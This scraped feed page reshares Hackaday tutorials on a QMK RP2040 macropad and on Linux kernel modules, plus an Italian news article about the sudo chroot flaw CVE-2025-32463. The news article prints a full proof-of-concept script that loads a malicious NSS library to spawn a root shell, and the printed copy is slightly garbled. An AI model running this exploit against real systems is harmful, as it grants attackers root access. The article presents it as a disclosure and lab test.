Salta al contenuto principale


Debugging the Instant Macropad


Last time, I showed you how to throw together a few modules and make a working macropad that could act like a keyboard or a mouse. My prototype was very simple, so there wasn’t much to debug. But what happens if you want to do something more complex? In this installment, I’ll show you how to add the obligatory blinking LED and, just to make it interesting, a custom macro key.

There is a way to print data from the keyboard, through the USB port, and into a program that knows how to listen for it. There are a few choices, but the qmk software can do it if you run it with the console argument.

The Plan


In theory, it is fairly easy to just add the console feature to the keyboard.json file:
{
...
"features": {
"mousekey": true,
"extrakey": true,
"nkro": false,
"bootmagic": false,
"console": true
},
...

That allows the console to attach, but now you have to print.

Output


The code in a keyboard might be tight, depending on the processor and what else it is doing. So a full-blown printf is a bit prohibitive. However, the system provides you with four output calls: uprint,uprintf, dprint, and dprintf.

The “u” calls will always output something. The difference is that the normal print version takes a fixed string while the printf version allows some printf-style formatting. The “d” calls are the same, but they only work if you have debugging turned on. You can turn on debugging at compile time, or you can trigger it with, for example, a special key press.

To view the print output, just run:
qmk console
Note that printing during initialization may not always be visible. You can store things in static variables and print them later, if that helps.

Macros


You can define your own keycodes in keymap.c. You simply have to start them at SAFE_RANGE:
enum custom_keycodes {
SS_STRING = SAFE_RANGE
};

You can then “catch” those keys in a process_record_user function, as you’ll see shortly. What you do is up to you. For example, you could play a sound, turn on some I/O, or anything else you want. You do need to make a return value to tell qmk you handled the key.

An Example


In the same Git repo, I created a branch rp2040_led. My goal was to simply flash the onboard LED annoyingly. However, I also wanted to print some things over the console.

Turning on the console is simple enough. I also added a #define for USER_LED at the end of config.h (GP25 is the onboard LED).

A quick read of the documentation will tell you the calls you can use to manipulate GPIO. In this case, we only needed gpio_set_pin_output and the gpio_write_pin* functions.

I also sprinkled a few print functions in. In general, you provide override functions in your code for things you want to do. In this case, I set up the LED in keyboard_post_init_user. Then, at first, I use a timer and the user part of the matrix scan to periodically execute.

Notice that even though the keyboard doesn’t use scanning, the firmware still “scans” it, and so your hook gets a call periodically. Since I’m not really using scanning, this works, but if you were trying to do this with a real matrix keyboard, it would be smarter to use housekeeping_task_user(void) which avoids interfering with the scan timing, so I changed to that.

Here’s most of the code in keymap.c:
#include QMK_KEYBOARD_H
enum custom_keycodes {
SS_STRING = SAFE_RANGE
};
const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
[0] = LAYOUT(
// 4 buttons
KC_KB_VOLUME_UP, KC_KB_MUTE, KC_KB_VOLUME_DOWN, SS_STRING,
// Mouse
QK_MOUSE_CURSOR_UP, QK_MOUSE_CURSOR_DOWN, QK_MOUSE_CURSOR_LEFT, QK_MOUSE_CURSOR_RIGHT, QK_MOUSE_BUTTON_1),
};

void keyboard_pre_init_user(void) {
// code that runs very early in the keyboard initialization
}

void keyboard_post_init_user(void) {
// code that runs after the keyboard has been initialized
gpio_set_pin_output(USER_LED);
gpio_write_pin_high(USER_LED);
uprint("init\n");
}

#if 1 // in case you want to turn off that $<em>$</em># blinking
void housekeeping_task_user(void) {
static uint32_t last;
static bool on;
uint32_t now = timer_read32();
uprintf("scan tick %lu\n",now);
if (TIMER_DIFF_32(now, last) > 500) { // toggle every 500 ms
last = now;
on = !on;
if (on)
gpio_write_pin_high(USER_LED);
else
gpio_write_pin_low(USER_LED);
}
}
#endif

bool process_record_user(uint16_t keycode, keyrecord_t *record) {
switch (keycode) {
case SS_STRING:
if (record->event.pressed) {
SEND_STRING("http://www.hackaday.com\n");
}
return false;
}
return true;
}

You’ll notice the process_record_user function is now in there. It sees every keycode an when it finds the custom keycode, it sends out your favorite website’s URL.

More Tips


I mentioned last time that you have to let the CPU finish loading even after the flash utility says you are done. There are some other tips that can help you track down problems. For one thing, the compile script is pretty lax about your json. So you may have an error in your json file that is stopping things from working, but it won’t warn you. You can use jq to validate your json:
jq . keyboard.json
Another thing to do is use the “lint” feature of qmx. Just replace the compile or flash command with lint, and it will do some basic checks to see if there are any errors. It does require a few arbitrary things like a license header in some files, but for the most part, it catches real errors.

Get Started!


What are you waiting for? Now you can build that monster keyboard you’ve dreamed up. Or the tiny one. Whatever. You might want to read more about the RP2040 support, unless you are going to use a different CPU. Don’t forget the entire directory is full of example keyboards you can — ahem — borrow from.

You might think there’s not much you can do with a keyboard, but there are many strange and wonderful features in the firmware. You can let your keyboard autocorrect your common misspellings, for example. Or interpret keys differently when you hold them versus tapping them. Want a key that inserts the current time and date? Code it. If you want an example of getting the LCD to work, check out the rp2040-disp branch.

One thing interesting about qmk, too, is that many commercial keyboards use it or, at least, claim to use it. After all, it is tempting to have the firmware ready to go. However, sometimes you get a new keyboard and the vendor hasn’t released the source code yet, so if that’s your plan, you should find the source code before you plunk down your money!

You’ll find plenty of support for lighting, of course. But there are also strange key combinations, layers, and even methods for doing stenography. There’s only one problem. Once you start using qmk there is a real chance you may start tearing up your existing keyboards. You have been warned.


hackaday.com/2025/08/25/debugg…



Instant Macropad: Just Add QMK


I recently picked up one of those cheap macropads (and wrote about it, of course). It is surprisingly handy and quite inexpensive. But I felt bad about buying it. Something like that should be easy to build yourself. People build keyboards all the time now, and with a small number of keys, you don’t even have to scan a matrix. Just use an I/O pin per switch.

The macropad had some wacky software on it that, luckily, people have replaced with open-source alternatives. But if I were going to roll my own, it would be smart to use something like QMK, just like a big keyboard. But that made me wonder, how much trouble it would be to set up QMK for a simple project. Spoiler: It was pretty easy.

The Hardware

Simple badge or prototype macropad? Why not both?
Since I just wanted to experiment, I was tempted to jam some switches in a breadboard along with a Raspberry Pi Pico. But then I remembered the “simple badge” project I had up on a nearby shelf. It is simplicity itself: an RP2040-Plus (you could just use a regular Pi Pico) and a small add-on board with a switch “joystick,” four buttons, and a small display. You don’t really need the Plus for this project since, unlike the badge, it doesn’t need a battery. The USB cable will power the device and carry keyboard (or even mouse) commands back to the computer.

Practical? No. But it would be easy enough to wire up any kind of switches you like. I didn’t use the display, so there would be no reason to wire one up if you were trying to make a useful copy of this project.

The Software


There are several keyboard firmware choices out there, but QMK is probably the most common. It supports the Pico, and it’s well supported. It is also modular, offering a wide range of features.

The first thing I did was clone the Git repository and start my own branch to work in. There are a number of source files, but you won’t need to do very much with most of them.

There is a directory called keyboards. Inside that are directories for different types of keyboards (generally, brands of keyboards). However, there’s also a directory called handwired for custom keyboards with a number of directories inside.

There is one particular directory of interest: onekey. This is sort of a “Hello World” for QMK firmware. Inside, there are directories for different CPUs, including the RP2040 I planned to use. There are many other choices, though, if you prefer something else.

Surprise!

Quick guide to the files of interest.
So, that directory probably has a mess of files in it, right? Not really. There are five files, including a readme, and that’s it. Of those, there are only two I was going to change: config.h and keyboard.json. In addition, there are a few files that may be important in the parent directory: config.h, onekey.c, and info.json.

I didn’t want to interfere with the stock options, so I created a directory at ~/qmk_firmware/keyboards/handwired/hackaday. I copied the files from onekey to this directory, along with the rp2040 and keymap directories (that one is important). I renamed onekey.c to hackaday.c.

It seems confusing at first, but maybe the diagram will help. This document will help, too. The good news is that most of these files you won’t even need to change. Essentially, info.json is for any processor, keyboard.json is for a specific processor, and keymap.json goes with a particular keymap.

Changes


The root directory config.h didn’t need any changes, although you can disable certain features here if you care. The hackaday.c file had some debugging options set to true, but since I wanted to keep it simple, I set them all to false.

The info.json file was the most interesting. You can do things like set the keyboard name and USB IDs there. I didn’t change the rest, even though the diode_direction key in this file won’t be used for this project. For that matter, the locking section is only needed if you have physical keys that actually lock, but I left it in since it doesn’t hurt anything.

In the rp2040 directory, there are more changes. The config.h file allows you to set pin numbers for various things, and I also put some mouse parameters there (more on that later). I didn’t actually use any of these things (SPI and the display), so I could have deleted most of this.

But the big change is in the keyboard.json file. Here you set the processor type. But the big thing is you set up keys and some feature flags. Usually, you describe how your keyboard rows and columns are configured, but this simple device just has direct connections. You still set up fake rows and columns. In this case, I elected to make two rows of five columns. The first row is the four buttons (and a dead position). The second row is the joystick buttons. You can see that in the matrix_pins section of the file.

The layouts section is very simple and gives a name to each key. I also set up some options to allow for fake mouse keys and media keys (mousekey and extrakey set to true). Here’s the file:
{
"keyboard_name": "RP2040_Plus_Pad",
"processor": "RP2040",
"bootloader": "rp2040",
"matrix_pins": {
"direct": [
["GP15", "GP17", "GP19", "GP21", "NO_PIN"],
["GP2", "GP18", "GP16", "GP20", "GP3"]
]
},
"features": {
"mousekey": true,
"extrakey": true,
"nkro": false,
"bootmagic": false
},
"layouts": {
"LAYOUT": {
"layout": [
{ "label":"K00", "matrix": [0, 0], "x": 0, "y": 0 },
{ "label": "K01", "matrix": [0, 1], "x": 1, "y": 0 },
{ "label": "K02", "matrix": [0, 2], "x": 2, "y": 0 },
{ "label": "K03", "matrix": [0, 3], "x": 3, "y": 0 },
{ "label": "K10", "matrix": [1, 0], "x": 0, "y": 1 },
{ "label": "K11", "matrix": [1, 1], "x": 1, "y": 1 },
{ "label": "K12", "matrix": [1, 2], "x": 2, "y": 1 },
{ "label": "K13", "matrix": [1, 3], "x": 3, "y": 1 },
{ "label": "K14", "matrix": [1, 4], "x": 4, "y": 1 }
]
}
}
}

The Keymap


It still seems like there is something missing. The keycodes that each key produces. That’s in the ../hackaday/keymaps/default directory. There’s a json file you don’t need to change and a C file:
#include QMK_KEYBOARD_H

const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
[0] = LAYOUT(
// 4 buttons
KC_KB_VOLUME_UP, KC_KB_MUTE, KC_KB_VOLUME_DOWN, KC_MEDIA_PLAY_PAUSE,
// Mouse
QK_MOUSE_CURSOR_UP, QK_MOUSE_CURSOR_DOWN,
QK_MOUSE_CURSOR_LEFT, QK_MOUSE_CURSOR_RIGHT,
QK_MOUSE_BUTTON_1
),
};
. . .

Mousing Around


I didn’t add the mouse commands until later. When I did, they didn’t seem to work. Of course, I had to enable the mouse commands, but it still wasn’t working. What bit me several times was that the QMK flash script (see below) doesn’t wait for the Pi Pico to finish downloading. So you sometimes think it’s done, but it isn’t. There are a few ways of solving that, as you’ll see.

Miscellaneous and Building


Installing QMK is simple, but varies depending on your computer type. The documentation is your friend. Meanwhile, I’ve left my fork of the official firmware for you. Be sure to switch to the rp2040 branch, or you won’t see any differences from the official repo.

There are some build options you can add to rules.mk files in the different directories. There are plenty of APIs built into QMK if you want to play with, say, the display. You can also add code to your keymap.c (among other places) to run code on startup, for example. You can find out more about what’s possible in the documentation. For example, if you wanted to try an OLED display, there are drivers ready to go.

The first time you flash, you’ll want to put your Pico in bootloader mode and then try this:
qmk flash -kb handwired/hackaday/rp2040 -km default
If you aren’t ready to flash, try the compile command. You can also use clean to wipe out all the binaries. The binaries wind up in qmk_firmware/.build.

Once the bootloader is installed the first time (assuming you didn’t change the setup), you can get back in bootloader mode by double-tapping the reset button. The onboard LED will light so you know it is in bootloader mode.

It is important to wait for the Pi to disconnect, or it may not finish programming. Adding a sync command to the end of your flash command isn’t a bad idea. Or just be patient and wait for the Pi to disconnect itself.

Usually, the device will reset and become a keyboard automatically. If not, reset it yourself or unplug it and plug it back in. Then you’ll be able to use the four buttons to adjust the volume and mute your audio. The joystick fakes being a mouse. Don’t like that? Change it in keymap.c.

There’s a lot more, of course, but this will get you started. Keeping it all straight can be a bit confusing at first, but once you’ve done it once, you’ll see there’s not much you have to change. If you browse the documentation, you’ll see there’s plenty of support for different kinds of hardware.

What about debugging? Running some user code? I’ll save that for next time.

Now you can build your dream macropad or keyboard, or even use this to make fake keyboard devices that feed data from something other than user input. Just remember to drop us a note with your creations.


hackaday.com/2025/08/20/instan…



Questo account è gestito da @informapirata ⁂ e propone e ricondivide articoli di cybersecurity e cyberwarfare, in italiano e in inglese

I post possono essere di diversi tipi:

1) post pubblicati manualmente
2) post pubblicati da feed di alcune testate selezionate
3) ricondivisioni manuali di altri account
4) ricondivisioni automatiche di altri account gestiti da esperti di cybersecurity

NB: purtroppo i post pubblicati da feed di alcune testate includono i cosiddetti "redazionali"; i redazionali sono di fatto delle pubblicità che gli inserzionisti pubblicano per elogiare i propri servizi: di solito li eliminiamo manualmente, ma a volte può capitare che non ce ne accorgiamo (e no: non siamo sempre on line!) e quindi possono rimanere on line alcuni giorni. Fermo restando che le testate che ricondividiamo sono gratuite e che i redazionali sono uno dei metodi più etici per sostenersi economicamente, deve essere chiaro che questo account non riceve alcun contributo da queste pubblicazioni.

reshared this



Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463


Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una grave vulnerabilità scoperta in SUDO (CVE-2025-32463), che consente l’escalation dei privilegi a root in ambienti Linux sfruttando un abuso della funzione chroot.

L’exploit, reso pubblico da Stratascale, dimostra come un utente non privilegiato possa ottenere l’accesso root tramite una precisa catena di operazioni che sfruttano un comportamento errato nella gestione dei processi figli in ambienti chroot.

Test sul campo: la parola a Manuel Roccon del gruppo HackerHood


Manuel Roccon, ricercatore del gruppo HackerHood di Red Hot Cyber, ha voluto mettere le mani sull’exploit per verificarne concretamente la portata e valutarne la replicabilità in ambienti reali. “Non potevo resistere alla tentazione di provarlo in un ambiente isolato. È impressionante quanto sia diretto e pulito il meccanismo, una volta soddisfatti i requisiti richiesti dal PoC”, afferma Manuel.

Il team ha quindi testato il Proof of Concept pubblicato da Stratascale Exploit CVE-2025-32463 – sudo chroot. Il risultato? Privilege escalation ottenuta con successo.

youtube.com/embed/-GxiqS-f7Yg?…

Dettagli dell’exploit


L’exploit sfrutta una condizione in cui sudo esegue un comando in un ambiente chroot, lasciando tuttavia aperte alcune possibilità al processo figlio di uscire dal chroot e di manipolare lo spazio dei nomi dei processi (namespace) fino ad ottenere accesso completo come utente root.

L’exploit CVE-2025-32463, dimostrato nel PoC sudo-chwoot.sh di Rich Mirch (Stratascale CRU), sfrutta una vulnerabilità in sudo che consente a un utente non privilegiato di ottenere privilegi di root quando sudo viene eseguito con l’opzione -R (che specifica un chroot directory). Lo script crea un ambiente temporaneo (/tmp/sudowoot.stage.*), compila una libreria condivisa malevola (libnss_/woot1337.so.2) contenente una funzione constructor che eleva i privilegi e apre una shell root (/bin/bash), e forza sudo a caricarla come libreria NSS nel contesto chroot.

La tecnica sfrutta un errore logico nella gestione della libreria NSS in ambienti chroot, dove sudo carica dinamicamente librerie esterne senza isolarle correttamente. Lo script imposta infatti una finta configurazione nsswitch.conf per forzare l’uso della propria libreria, posizionandola all’interno della directory woot/, che funge da root virtuale per il chroot. Quando sudo -R woot woot viene eseguito, la libreria woot1337.so.2 viene caricata, e il codice eseguito automaticamente grazie all’attributo __attribute__((constructor)), ottenendo così l’escalation dei privilegi.

I requisiti fondamentali per sfruttare con successo questa vulnerabilità includono:

  • L’abilitazione dell’uso di chroot tramite sudo.
  • L’assenza di alcune restrizioni nei profili di sicurezza (come AppArmor o SELinux).
  • Una configurazione permissiva di sudoers.

Di seguito le semplici righe

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c
#include

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Conclusioni


Il test effettuato da Manuel Roccon dimostra quanto questa vulnerabilità non sia solo teorica, ma pienamente sfruttabile in ambienti di produzione non correttamente protetti. In scenari DevOps o containerizzati, dove l’uso di sudo e chroot è comune, i rischi aumentano considerevolmente.

Red Hot Cyber e il gruppo HackerHood raccomandano l’immediato aggiornamento di SUDO all’ultima versione disponibile, e la revisione delle configurazioni di sicurezza relative a chroot e permessi sudoers.

La sicurezza parte dalla consapevolezza. Continuate a seguirci per analisi tecniche, PoC testati e segnalazioni aggiornate.

L'articolo Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463 proviene da il blog della sicurezza informatica.



Linux Fu: Kernel Modules Have Privileges


I did something recently I haven’t done in a long time: I recompiled the Linux kernel. There was a time when this was a common occurrence. You might want a …read more https://hackaday.com/2024/06/19/linux-fu-kernel-modules-have-privileges/

16603165

I did something recently I haven’t done in a long time: I recompiled the Linux kernel. There was a time when this was a common occurrence. You might want a feature that the default kernel didn’t support, or you might have an odd piece of hardware. But these days, in almost all the cases where you need something like this, you’ll use loadable kernel modules (LKM) instead. These are modules that the kernel can load and unload at run time, which means you can add that new device or strange file system without having to rebuild or even restart the kernel.

Normally, when you write programs for Linux, they don’t have any special permissions. You typically can’t do direct port I/O, for example, or arbitrarily access memory. The kernel, however, including modules, has no such restriction. That can make debugging modules tricky because you can easily bring the system to its knees. If possible, you might think about developing on a virtual machine until you have what you want. That way, an errant module just brings down your virtual machine.

History


Some form of module support has been around since Linux 1.2. However, modern kernels can be built to include support for things or support them as modules. For example, you probably don’t want to put drivers for every single known video card in your kernel. But it is perfectly fine to build dozens or hundreds of modules you might need and then load the one you need at run time.

LKMs are at the heart of device drivers, file system drivers, and network drivers. In addition, modules can add new system calls, override existing system calls, add TTY line disciplines, and handle how executables run.

In Use


If you want to know what modules you have loaded, that’s the lsmod command. You’ll see that some modules depend on other modules and some don’t. There are two ways to load modules: insmod and modprobe. The insmod command simply tries to load a module. The modprobe command tries to determine if the module it is loading needs other modules and picks them up from a known location.

You can also remove modules with rmmod assuming they aren’t in use. Of course, adding and removing modules requires root access. You can usually run lsmod as a normal user if you like. You might also be interested in depmod to determine dependencies, and modinfo which shows information about modules.

Writing a Module


It is actually quite easy to write your own module. In fact, it is so simple that the first example I want to look at is a little more complex than necessary.

This simple module can load and unload. It leaves a message in the system messages (use dmesg, for example) to tell you it is there. In addition, it allows you to specify a key (just an arbitrary integer) when you load it. That number will show up in the output data. Here’s the code:
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/printk.h>

MODULE_AUTHOR("Al Williams");
MODULE_DESCRIPTION("Hackaday LKM");
MODULE_LICENSE("GPLv2"); // many options, GPL, GPLv2, Proprietary, etc.

static int somedata __initdata=0xbeef; // this is just some static variable available only at init
static int key=0xAA; // you can override this using insmod
// Note 0644 means that the sysfs entry will be rw-r--r--
module_param(key,int,0644); // use module_param_named if you want different names internal vs external
MODULE_PARM_DESC(key,"An integer ID unique to this module");

static int __init had_init(void)
{
// This is the usual way to do this (don't forget \n and note no comma after KERN_INFO), but...
printk(KERN_INFO "Hackaday is in control (%x %x)\n",key,somedata);
return 0;
}

static void __exit had_exit(void)
{
// ... you can also use the pr_info macro which does the same thing
pr_info("Returning control of your system to you (%x)!\n",key);
}

module_init(had_init);
module_exit(had_exit);</pre>

This isn’t hard to puzzle out. Most of it is include files and macros that give modinfo something to print out. There are some variables: somedata is just a set variable that is readable during initialization. The key variable has a default but can be set using insmod. What’s more, is because module_param specifies 0644 — an octal Linux permission — there will be an entry in the /sys/modules directory that will let the root set or read the value of the key.

At the end, there are two calls that register what happens when the module loads and unloads. The rest of the code is just something to print some info when those events happen.

I printed data in two ways: the traditional printk and using the pr_info macro which uses printk underneath, anyway. You should probably pick one and stick with it. I’d normally just use pr_info.

Building the modules is simple assuming you have the entire build environment and the headers for the kernel. Here’s a simple makefile (don’t forget to use tabs in your makefile):
<pre>obj-m += hadmod1.o

PWD := $(CURDIR) # not needed in most cases, but useful if using sudo

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean</pre>

Once you build things, you should have a .ko file (like hadmod.ko). That’s the module. Try a few things:

  1. sudo insmod hadmod.ko # load the module
  2. sudo dmesg # see the module output
  3. cat /sys/modules/hadmodule/key # see the key (you can set it, too, if you are root)
  4. sudo rmmod hadmod.ko # unload the module
  5. sudo insmod hadmod.ko key=128 # set key this time and repeat the other steps


That’s It?


That is it. Of course, the real details lie in how you interact with the kernel or hardware devices, but that’s up to you. Just to give a slightly meatier example, I made a second version of the module that adds /proc/jollywrencher to the /proc filesystem. Here’s the code:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/printk.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h> // Module metadata
#include <linux/version.h>

MODULE_AUTHOR("Al Williams");
MODULE_DESCRIPTION("Hackaday LKM1");
MODULE_LICENSE("GPLv2"); // many options, GPL, GPLv2, Proprietary, etc.

static char logo[]=
" \n"\
" \n"\
" \n"\
" #@@@@@@ ,@@@@@@ \n"\
" &@@@@@* &@@@@@, \n"\
" @@@@@@% @@@@@@# \n"\
" @@ .@@@@@@@@@ .@@@@@@@@@ .@# \n"\
" &@@@& /@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@* \n"\
" @@@@@@@@@@@@@@@@@@@@@# @@@@@@@@@@@@@@@@@@@@@, \n"\
" &@@@@@@@@@@@@@@@@@@@@@* ,@@@@@@@@@@@@% &@@@@@@@@@@@@@@@@@@@@@* \n"\
" ,*. @@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@& &@@@@@@@@@@# ** \n"\
" @@@@@@, &@@@@@@@@@@@@@@@@@@@@@@@@@, %@@@@@& \n"\
" ,@& /@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@ \n"\
" &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* \n"\
" %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. \n"\
" @@@@@@ #@@@@@@@. /@@@@@@ \n"\
" /@@@@& @@@@@@. @@@@@ \n"\
" ,@@@@% (@@@@@@@@@@&* @@@@@ \n"\
" @@@@@# @@@@@@@@@@@@@@@@@@% @@@@@& \n"\
" /@@@@@@@@@@@@@@@, #@@@@@@@@@@@@@@@ \n"\
" @@ *@@@@@@@@@@@@@& ( @@@@@@@@@@@@@@ .@( \n"\
" %@@@@@. @@@@@@@@@@@@@@@@@@@@@@@@@@@@% #@@@@@* \n"\
" (%&%((@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@% ,@@@@@@@@@@*#&/ \n"\
" @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@( @@@@@@@@@@@@@@@@@@@@@& \n"\
" @@@@@@@@@@@@@@@@@@@@@ @@@@@@*@@@@@@/%@@@@@& *@@@@@@@@@@@@@@@@@@@@# \n"\
" @@@@. @@@@@@@@@@@. .. . . (@@@@@@@@@@# /@@@* \n"\
" @, %@@@@@@@@ .@@@@@@@@. \n"\
" ,@@@@@( @@@@@@ \n"\
" *@@@@@@ (@@@@@@ \n"\
" @@@@@@, %@@@@@@ \n"\
" \n"\
" ";

static struct proc_dir_entry *proc_entry;
static ssize_t had_read(struct file *f, char __user * user_buffer, size_t count, loff_t * offset)
{
size_t len;
if (*offset>0) return 0; // no seeking, please!
copy_to_user(user_buffer,logo,len=strlen(logo)); // skipped error check
*offset=len;
return len;
}

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,6,0)
static struct proc_ops procop = // prior to Linux 5.6 you needed file_operations
{
.proc_read=had_read
};
#else
static struct file_operations procop =
{
.owner=THIS_MODULE,
.read=had_read
#endif

static int __init had_init(void)
{
// This is the usual way to do this (don't forget \n and note no comma after KERN_INFO), but...
printk(KERN_INFO "Hackaday<1>; is in control\n");
proc_entry=proc_create("jollywrencher",0644,NULL,&procop);
return 0;
}

static void __exit had_exit(void)
{
// ... you can also use the pr_info macro which does the same thing
pr_info("Returning control of your system to you...\n");
proc_remove(proc_entry);
}

module_init(had_init);
module_exit(had_exit);

The only thing here is you have an extra function that you have to register and deregister with the kernel. However, that interface changed in Kernel 5.6, so the code tries to do the right thing. Until, of course, it gets changed again.

Once you load this module using insmod, you can cat /proc/jollywrencher to see your favorite web site’s logo.

Of course, this is a dead simple example, but it is enough to get you started. You can grab all the source code online. One great way to learn more is to find something similar to what you want to build and take it apart.

We don’t suggest it, but you can write an LKM in Scratch. If you really want to learn the kernel, maybe start at the beginning.